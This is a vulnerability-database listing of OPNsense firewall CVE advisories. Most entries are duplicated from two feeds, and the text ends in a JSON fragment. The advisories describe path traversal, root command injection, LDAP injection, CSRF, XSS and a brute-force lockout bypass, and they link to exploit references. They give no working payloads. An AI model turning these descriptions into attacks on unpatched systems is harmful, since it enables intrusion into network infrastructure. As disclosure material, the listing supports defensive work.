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85 vulnerabilities by Opnsense
CVE-2026-53581 (GCVE-0-2026-53581)
Vulnerability from nvd – Published: 2026-09-08 23:02 – Updated: 2026-09-09 13:37
VLAI
EPSS
VEX
Title
ntp: write path traversal
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.9 of opnsense/core and version 26.4_20 of BE/opnsense/core, a path traversal vulnerability in the NTP configuration module allows an attacker to overwrite arbitrary files on the system as the root user. By manipulating the GPS or PPS serial port parameter, an attacker with access to the NTP configuration can escape the intended directory and force the system to write user-controlled data to any file on the filesystem. Version 26.1.9 of opnsense/core and version 26.4_20 of BE/opnsense/core patch the issue.
Severity
9 (Critical)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-09 13:36 UTC
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
Impacted products
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CVE-2026-45158 (GCVE-0-2026-45158)
Vulnerability from nvd – Published: 2026-05-13 21:54 – Updated: 2026-05-14 12:22
VLAI
EPSS
VEX
Title
OPNsense: Command Injection via Attacker-Controlled DHCP Config
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.8, unsanitized user input is passed to the DHCP configuration of the configured interface, which is processed by a shell script, allowing remote code execution as root on the underlying operating system. This vulnerability is fixed in 26.1.8.
Severity
9.1 (Critical)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-05-14 12:22 UTC
CWE
- CWE-88 - Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
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CVE-2026-44195 (GCVE-0-2026-44195)
Vulnerability from nvd – Published: 2026-05-13 21:52 – Updated: 2026-05-14 13:46
VLAI
EPSS
VEX
Title
OPNsense: Authentication lockout bypass
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.7, a logic flaw in the OPNsense lockout_handler allows an unauthenticated attacker to continuously reset the authentication failure counter for their IP address. By interjecting a crafted username containing a success keyword ("Accepted" or "Successful login") between normal brute-force attempts, an attacker can prevent the failure counter from ever reaching the lockout threshold. This vulnerability is fixed in 26.1.7.
Severity
5.3 (Medium)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-05-14 13:46 UTC
CWE
- CWE-307 - Improper Restriction of Excessive Authentication Attempts
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://gist.github.com/sopex/b9786e72e2a5d9b1bbd… | exploit |
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CVE-2026-44194 (GCVE-0-2026-44194)
Vulnerability from nvd – Published: 2026-05-13 21:53 – Updated: 2026-05-19 03:55
VLAI
EPSS
VEX
Title
OPNsense: RCE on user managment
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.8, an authenticated Remote Code Execution (RCE) vulnerability in the OPNsense core allows a user with user-management privileges to execute arbitrary system commands as root. An attacker can bypass input validation by formatting their malicious payload as a compliant email address, allowing shell commands to reach the underlying operating system. The flaw exists in the local user synchronization flow, within core/src/opnsense/scripts/auth/sync_user.php. This vulnerability is fixed in 26.1.8.
Severity
9.1 (Critical)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-05-15 00:00 UTC
CWE
- CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
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CVE-2026-44193 (GCVE-0-2026-44193)
Vulnerability from nvd – Published: 2026-05-13 21:52 – Updated: 2026-05-16 03:56
VLAI
EPSS
VEX
Title
OPNsense: RCE via XMLRPC endpoint using `opnsense.restore_config_section` method
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.7, the XMLRPC method opnsense.restore_config_section fails to sanitize user supplied input leading to Remote Code Execution. This vulnerability is fixed in 26.1.7.
Severity
9.1 (Critical)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-05-15 00:00 UTC
CWE
- CWE-88 - Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
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CVE-2026-34578 (GCVE-0-2026-34578)
Vulnerability from nvd – Published: 2026-04-09 14:34 – Updated: 2026-04-09 17:45
VLAI
EPSS
VEX
Title
OPNsense has an LDAP Injection via Unsanitized Username in Authentication
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.6, OPNsense's LDAP authentication connector passes the login username directly into an LDAP search filter without calling ldap_escape(). An unauthenticated attacker can inject LDAP filter metacharacters into the username field of the WebGUI login page to enumerate valid LDAP usernames in the configured directory. When the LDAP server configuration includes an Extended Query to restrict login to members of a specific group, the same injection can be used to bypass that group membership restriction and authenticate as any LDAP user whose password is known, regardless of group membership. This vulnerability is fixed in 26.1.6.
Severity
8.2 (High)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-04-09 17:45 UTC
CWE
- CWE-90 - Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
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CVE-2026-30868 (GCVE-0-2026-30868)
Vulnerability from nvd – Published: 2026-03-11 16:38 – Updated: 2026-03-11 17:20
VLAI
EPSS
VEX
Title
Cross-Site Request Forgery (CSRF) in opnsense/core
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.4, multiple OPNsense MVC API endpoints perform state‑changing operations but are accessible via HTTP GET requests without CSRF protection. The framework CSRF validation in ApiControllerBase only applies to POST/PUT/DELETE methods, allowing authenticated GET requests to bypass CSRF verification. As a result, a malicious website can trigger privileged backend actions when visited by an authenticated user, causing unintended service reloads and configuration changes through configd. This results in an authenticated Cross‑Site Request Forgery vulnerability allowing unauthorized system state changes. This vulnerability is fixed in 26.1.4.
Severity
6.3 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-03-11 17:06 UTC
CWE
- CWE-352 - Cross-Site Request Forgery (CSRF)
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
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CVE-2019-25374 (GCVE-0-2019-25374)
Vulnerability from nvd – Published: 2026-02-15 13:58 – Updated: 2026-05-24 01:36
VLAI
EPSS
VEX
Title
OPNsense 19.1 Reflected XSS via vpn_ipsec_settings.php
Summary
OPNsense 19.1 contains a reflected cross-site scripting vulnerability that allows attackers to inject malicious scripts by exploiting the passthrough_networks parameter in vpn_ipsec_settings.php. Attackers can craft POST requests with JavaScript payloads in the passthrough_networks parameter to execute arbitrary code in users' browsers.
Severity
6.1 (Medium)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-17 16:52 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/46351 | exploit |
| https://opnsense.org | product |
| https://forum.opnsense.org/index.php?topic=11469.0 | patch |
| https://www.vulncheck.com/advisories/opnsense-ref… | third-party-advisory |
Impacted products
Date Public
2019-02-01 00:00
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CVE-2019-25376 (GCVE-0-2019-25376)
Vulnerability from nvd – Published: 2026-02-15 13:58 – Updated: 2026-05-24 01:36
VLAI
EPSS
VEX
Title
OPNsense 19.1 Reflected XSS via proxy endpoint
Summary
OPNsense 19.1 contains a reflected cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious scripts by submitting crafted payloads through the ignoreLogACL parameter. Attackers can send POST requests to the proxy endpoint with JavaScript code in the ignoreLogACL parameter to execute arbitrary scripts in users' browsers.
Severity
6.1 (Medium)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-17 16:51 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/46351 | exploit |
| https://opnsense.org | product |
| https://forum.opnsense.org/index.php?topic=11469.0 | patch |
| https://www.vulncheck.com/advisories/opnsense-ref… | third-party-advisory |
Impacted products
Date Public
2019-02-01 00:00
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CVE-2019-25377 (GCVE-0-2019-25377)
Vulnerability from nvd – Published: 2026-02-15 13:58 – Updated: 2026-05-24 01:36
VLAI
EPSS
VEX
Title
OPNsense 19.1 Reflected XSS via system_advanced_sysctl.php
Summary
OPNsense 19.1 contains a reflected cross-site scripting vulnerability in the system_advanced_sysctl.php endpoint that allows attackers to inject malicious scripts via the value parameter. Attackers can craft POST requests with script payloads in the value parameter to execute JavaScript in the context of authenticated user sessions.
Severity
5.4 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-17 16:51 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/46351 | exploit |
| https://opnsense.org | product |
| https://forum.opnsense.org/index.php?topic=11469.0 | patch |
| https://www.vulncheck.com/advisories/opnsense-ref… | third-party-advisory |
Impacted products
Date Public
2019-02-01 00:00
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CVE-2019-25373 (GCVE-0-2019-25373)
Vulnerability from nvd – Published: 2026-02-15 13:58 – Updated: 2026-03-05 01:26
VLAI
EPSS
VEX
Title
OPNsense 19.1 Stored XSS via firewall_rules_edit.php
Summary
OPNsense 19.1 contains a stored cross-site scripting vulnerability that allows authenticated attackers to inject malicious scripts by submitting crafted input to the category parameter. Attackers can send POST requests to firewall_rules_edit.php with script payloads in the category field to execute arbitrary JavaScript in the browsers of other users accessing firewall rule pages.
Severity
6.4 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-17 16:53 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/46351 | exploit |
| https://opnsense.org | product |
| https://forum.opnsense.org/index.php?topic=11469.0 | patch |
| https://www.vulncheck.com/advisories/opnsense-sto… | third-party-advisory |
Impacted products
Date Public
2019-02-01 00:00
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CVE-2019-25375 (GCVE-0-2019-25375)
Vulnerability from nvd – Published: 2026-02-15 13:58 – Updated: 2026-05-24 01:36
VLAI
EPSS
VEX
Title
OPNsense 19.1 Reflected XSS via monit interface
Summary
OPNsense 19.1 contains a reflected cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious scripts by submitting crafted input to the mailserver parameter. Attackers can send POST requests to the monit interface with JavaScript payloads in the mailserver parameter to execute arbitrary code in users' browsers.
Severity
6.1 (Medium)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-17 16:52 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/46351 | exploit |
| https://opnsense.org | product |
| https://forum.opnsense.org/index.php?topic=11469.0 | patch |
| https://www.vulncheck.com/advisories/opnsense-ref… | third-party-advisory |
Impacted products
Date Public
2019-02-01 00:00
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CVE-2019-25370 (GCVE-0-2019-25370)
Vulnerability from nvd – Published: 2026-02-15 13:58 – Updated: 2026-05-24 01:36
VLAI
EPSS
VEX
Title
OPNsense 19.1 Reflected XSS via interfaces_vlan_edit.php
Summary
OPNsense 19.1 contains a reflected cross-site scripting vulnerability that allows attackers to inject malicious scripts by submitting crafted input through multiple parameters. Attackers can send POST requests to interfaces_vlan_edit.php with script payloads in the tag, descr, or vlanif parameters to execute arbitrary JavaScript in users' browsers.
Severity
6.1 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-17 17:24 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/46351 | exploit |
| https://opnsense.org | product |
| https://forum.opnsense.org/index.php?topic=11469.0 | patch |
| https://www.vulncheck.com/advisories/opnsense-ref… | third-party-advisory |
Impacted products
Date Public
2019-02-01 00:00
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CVE-2019-25371 (GCVE-0-2019-25371)
Vulnerability from nvd – Published: 2026-02-15 13:58 – Updated: 2026-05-24 01:36
VLAI
EPSS
VEX
Title
OPNsense 19.1 Reflected XSS via diag_ping.php
Summary
OPNsense 19.1 contains a reflected cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious scripts by exploiting insufficient input validation in the host parameter. Attackers can submit crafted POST requests to the diag_ping.php endpoint with script payloads in the host parameter to execute arbitrary JavaScript in users' browsers.
Severity
6.1 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-17 17:25 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/46351 | exploit |
| https://opnsense.org | product |
| https://forum.opnsense.org/index.php?topic=11469.0 | patch |
| https://www.vulncheck.com/advisories/opnsense-ref… | third-party-advisory |
Impacted products
Date Public
2019-02-01 00:00
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CVE-2019-25368 (GCVE-0-2019-25368)
Vulnerability from nvd – Published: 2026-02-15 13:58 – Updated: 2026-05-24 01:36
VLAI
EPSS
VEX
Title
OPNsense 19.1 Reflected XSS via diag_backup.php
Summary
OPNsense 19.1 contains multiple cross-site scripting vulnerabilities in the diag_backup.php endpoint that allow attackers to inject malicious scripts through multiple parameters including GDrive_GDriveEmail, GDrive_GDriveFolderID, GDrive_GDriveBackupCount, Nextcloud_url, Nextcloud_user, Nextcloud_password, Nextcloud_password_encryption, and Nextcloud_backupdir. Attackers can submit POST requests with script payloads in these parameters to execute arbitrary JavaScript in the context of authenticated administrator sessions.
Severity
5.4 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-17 20:10 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/46351 | exploit |
| https://opnsense.org | product |
| https://forum.opnsense.org/index.php?topic=11469.0 | patch |
| https://www.vulncheck.com/advisories/opnsense-ref… | third-party-advisory |
Impacted products
Date Public
2019-02-01 00:00
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CVE-2019-25369 (GCVE-0-2019-25369)
Vulnerability from nvd – Published: 2026-02-15 13:58 – Updated: 2026-03-05 01:26
VLAI
EPSS
VEX
Title
OPNsense 19.1 Stored XSS via system_advanced_sysctl.php
Summary
OPNsense 19.1 contains a stored cross-site scripting vulnerability in the system_advanced_sysctl.php endpoint that allows attackers to inject persistent malicious scripts via the tunable parameter. Attackers can submit POST requests with script payloads that are stored and executed in the context of authenticated user sessions when the page is viewed.
Severity
6.4 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-17 17:24 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/46351 | exploit |
| https://opnsense.org | product |
| https://forum.opnsense.org/index.php?topic=11469.0 | patch |
| https://www.vulncheck.com/advisories/opnsense-sto… | third-party-advisory |
Impacted products
Date Public
2019-02-01 00:00
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CVE-2019-25372 (GCVE-0-2019-25372)
Vulnerability from nvd – Published: 2026-02-15 13:58 – Updated: 2026-05-24 01:36
VLAI
EPSS
VEX
Title
OPNsense 19.1 Reflected XSS via diag_traceroute.php
Summary
OPNsense 19.1 contains a reflected cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious scripts by exploiting insufficient input validation in the host parameter. Attackers can submit crafted payloads through POST requests to diag_traceroute.php to execute arbitrary JavaScript in the context of a user's browser session.
Severity
6.1 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-17 17:25 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/46351 | exploit |
| https://opnsense.org | product |
| https://forum.opnsense.org/index.php?topic=11469.0 | patch |
| https://www.vulncheck.com/advisories/opnsense-ref… | third-party-advisory |
Impacted products
Date Public
2019-02-01 00:00
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CVE-2026-53581 (GCVE-0-2026-53581)
Vulnerability from cvelistv5 – Published: 2026-09-08 23:02 – Updated: 2026-09-09 13:37
VLAI
EPSS
VEX
Title
ntp: write path traversal
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.9 of opnsense/core and version 26.4_20 of BE/opnsense/core, a path traversal vulnerability in the NTP configuration module allows an attacker to overwrite arbitrary files on the system as the root user. By manipulating the GPS or PPS serial port parameter, an attacker with access to the NTP configuration can escape the intended directory and force the system to write user-controlled data to any file on the filesystem. Version 26.1.9 of opnsense/core and version 26.4_20 of BE/opnsense/core patch the issue.
Severity
9 (Critical)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-09 13:36 UTC
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
Impacted products
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CVE-2026-45158 (GCVE-0-2026-45158)
Vulnerability from cvelistv5 – Published: 2026-05-13 21:54 – Updated: 2026-05-14 12:22
VLAI
EPSS
VEX
Title
OPNsense: Command Injection via Attacker-Controlled DHCP Config
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.8, unsanitized user input is passed to the DHCP configuration of the configured interface, which is processed by a shell script, allowing remote code execution as root on the underlying operating system. This vulnerability is fixed in 26.1.8.
Severity
9.1 (Critical)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-05-14 12:22 UTC
CWE
- CWE-88 - Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
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CVE-2026-44194 (GCVE-0-2026-44194)
Vulnerability from cvelistv5 – Published: 2026-05-13 21:53 – Updated: 2026-05-19 03:55
VLAI
EPSS
VEX
Title
OPNsense: RCE on user managment
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.8, an authenticated Remote Code Execution (RCE) vulnerability in the OPNsense core allows a user with user-management privileges to execute arbitrary system commands as root. An attacker can bypass input validation by formatting their malicious payload as a compliant email address, allowing shell commands to reach the underlying operating system. The flaw exists in the local user synchronization flow, within core/src/opnsense/scripts/auth/sync_user.php. This vulnerability is fixed in 26.1.8.
Severity
9.1 (Critical)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-05-15 00:00 UTC
CWE
- CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
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CVE-2026-44195 (GCVE-0-2026-44195)
Vulnerability from cvelistv5 – Published: 2026-05-13 21:52 – Updated: 2026-05-14 13:46
VLAI
EPSS
VEX
Title
OPNsense: Authentication lockout bypass
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.7, a logic flaw in the OPNsense lockout_handler allows an unauthenticated attacker to continuously reset the authentication failure counter for their IP address. By interjecting a crafted username containing a success keyword ("Accepted" or "Successful login") between normal brute-force attempts, an attacker can prevent the failure counter from ever reaching the lockout threshold. This vulnerability is fixed in 26.1.7.
Severity
5.3 (Medium)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-05-14 13:46 UTC
CWE
- CWE-307 - Improper Restriction of Excessive Authentication Attempts
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
| https://gist.github.com/sopex/b9786e72e2a5d9b1bbd… | exploit |
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CVE-2026-44193 (GCVE-0-2026-44193)
Vulnerability from cvelistv5 – Published: 2026-05-13 21:52 – Updated: 2026-05-16 03:56
VLAI
EPSS
VEX
Title
OPNsense: RCE via XMLRPC endpoint using `opnsense.restore_config_section` method
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.7, the XMLRPC method opnsense.restore_config_section fails to sanitize user supplied input leading to Remote Code Execution. This vulnerability is fixed in 26.1.7.
Severity
9.1 (Critical)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-05-15 00:00 UTC
CWE
- CWE-88 - Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Assigner
References
1 reference
| URL | Tags |
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CVE-2026-34578 (GCVE-0-2026-34578)
Vulnerability from cvelistv5 – Published: 2026-04-09 14:34 – Updated: 2026-04-09 17:45
VLAI
EPSS
VEX
Title
OPNsense has an LDAP Injection via Unsanitized Username in Authentication
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.6, OPNsense's LDAP authentication connector passes the login username directly into an LDAP search filter without calling ldap_escape(). An unauthenticated attacker can inject LDAP filter metacharacters into the username field of the WebGUI login page to enumerate valid LDAP usernames in the configured directory. When the LDAP server configuration includes an Extended Query to restrict login to members of a specific group, the same injection can be used to bypass that group membership restriction and authenticate as any LDAP user whose password is known, regardless of group membership. This vulnerability is fixed in 26.1.6.
Severity
8.2 (High)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-04-09 17:45 UTC
CWE
- CWE-90 - Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
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CVE-2026-30868 (GCVE-0-2026-30868)
Vulnerability from cvelistv5 – Published: 2026-03-11 16:38 – Updated: 2026-03-11 17:20
VLAI
EPSS
VEX
Title
Cross-Site Request Forgery (CSRF) in opnsense/core
Summary
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.4, multiple OPNsense MVC API endpoints perform state‑changing operations but are accessible via HTTP GET requests without CSRF protection. The framework CSRF validation in ApiControllerBase only applies to POST/PUT/DELETE methods, allowing authenticated GET requests to bypass CSRF verification. As a result, a malicious website can trigger privileged backend actions when visited by an authenticated user, causing unintended service reloads and configuration changes through configd. This results in an authenticated Cross‑Site Request Forgery vulnerability allowing unauthorized system state changes. This vulnerability is fixed in 26.1.4.
Severity
6.3 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-03-11 17:06 UTC
CWE
- CWE-352 - Cross-Site Request Forgery (CSRF)
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/opnsense/core/security/advisor… | x_refsource_CONFIRM |
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CVE-2019-25377 (GCVE-0-2019-25377)
Vulnerability from cvelistv5 – Published: 2026-02-15 13:58 – Updated: 2026-05-24 01:36
VLAI
EPSS
VEX
Title
OPNsense 19.1 Reflected XSS via system_advanced_sysctl.php
Summary
OPNsense 19.1 contains a reflected cross-site scripting vulnerability in the system_advanced_sysctl.php endpoint that allows attackers to inject malicious scripts via the value parameter. Attackers can craft POST requests with script payloads in the value parameter to execute JavaScript in the context of authenticated user sessions.
Severity
5.4 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-17 16:51 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/46351 | exploit |
| https://opnsense.org | product |
| https://forum.opnsense.org/index.php?topic=11469.0 | patch |
| https://www.vulncheck.com/advisories/opnsense-ref… | third-party-advisory |
Impacted products
Date Public
2019-02-01 00:00
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CVE-2019-25376 (GCVE-0-2019-25376)
Vulnerability from cvelistv5 – Published: 2026-02-15 13:58 – Updated: 2026-05-24 01:36
VLAI
EPSS
VEX
Title
OPNsense 19.1 Reflected XSS via proxy endpoint
Summary
OPNsense 19.1 contains a reflected cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious scripts by submitting crafted payloads through the ignoreLogACL parameter. Attackers can send POST requests to the proxy endpoint with JavaScript code in the ignoreLogACL parameter to execute arbitrary scripts in users' browsers.
Severity
6.1 (Medium)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-17 16:51 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/46351 | exploit |
| https://opnsense.org | product |
| https://forum.opnsense.org/index.php?topic=11469.0 | patch |
| https://www.vulncheck.com/advisories/opnsense-ref… | third-party-advisory |
Impacted products
Date Public
2019-02-01 00:00
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CVE-2019-25375 (GCVE-0-2019-25375)
Vulnerability from cvelistv5 – Published: 2026-02-15 13:58 – Updated: 2026-05-24 01:36
VLAI
EPSS
VEX
Title
OPNsense 19.1 Reflected XSS via monit interface
Summary
OPNsense 19.1 contains a reflected cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious scripts by submitting crafted input to the mailserver parameter. Attackers can send POST requests to the monit interface with JavaScript payloads in the mailserver parameter to execute arbitrary code in users' browsers.
Severity
6.1 (Medium)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-17 16:52 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/46351 | exploit |
| https://opnsense.org | product |
| https://forum.opnsense.org/index.php?topic=11469.0 | patch |
| https://www.vulncheck.com/advisories/opnsense-ref… | third-party-advisory |
Impacted products
Date Public
2019-02-01 00:00
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CVE-2019-25374 (GCVE-0-2019-25374)
Vulnerability from cvelistv5 – Published: 2026-02-15 13:58 – Updated: 2026-05-24 01:36
VLAI
EPSS
VEX
Title
OPNsense 19.1 Reflected XSS via vpn_ipsec_settings.php
Summary
OPNsense 19.1 contains a reflected cross-site scripting vulnerability that allows attackers to inject malicious scripts by exploiting the passthrough_networks parameter in vpn_ipsec_settings.php. Attackers can craft POST requests with JavaScript payloads in the passthrough_networks parameter to execute arbitrary code in users' browsers.
Severity
6.1 (Medium)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-17 16:52 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/46351 | exploit |
| https://opnsense.org | product |
| https://forum.opnsense.org/index.php?topic=11469.0 | patch |
| https://www.vulncheck.com/advisories/opnsense-ref… | third-party-advisory |
Impacted products
Date Public
2019-02-01 00:00
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CVE-2019-25373 (GCVE-0-2019-25373)
Vulnerability from cvelistv5 – Published: 2026-02-15 13:58 – Updated: 2026-03-05 01:26
VLAI
EPSS
VEX
Title
OPNsense 19.1 Stored XSS via firewall_rules_edit.php
Summary
OPNsense 19.1 contains a stored cross-site scripting vulnerability that allows authenticated attackers to inject malicious scripts by submitting crafted input to the category parameter. Attackers can send POST requests to firewall_rules_edit.php with script payloads in the category field to execute arbitrary JavaScript in the browsers of other users accessing firewall rule pages.
Severity
6.4 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-17 16:53 UTC
CWE
- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/46351 | exploit |
| https://opnsense.org | product |
| https://forum.opnsense.org/index.php?topic=11469.0 | patch |
| https://www.vulncheck.com/advisories/opnsense-sto… | third-party-advisory |
Impacted products
Date Public
2019-02-01 00:00
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"versionEndIncluding": "19.1",
"versionStartIncluding": "0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "OR"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ozer Goker"
}
],
"datePublic": "2019-02-01T00:00:00.000Z",
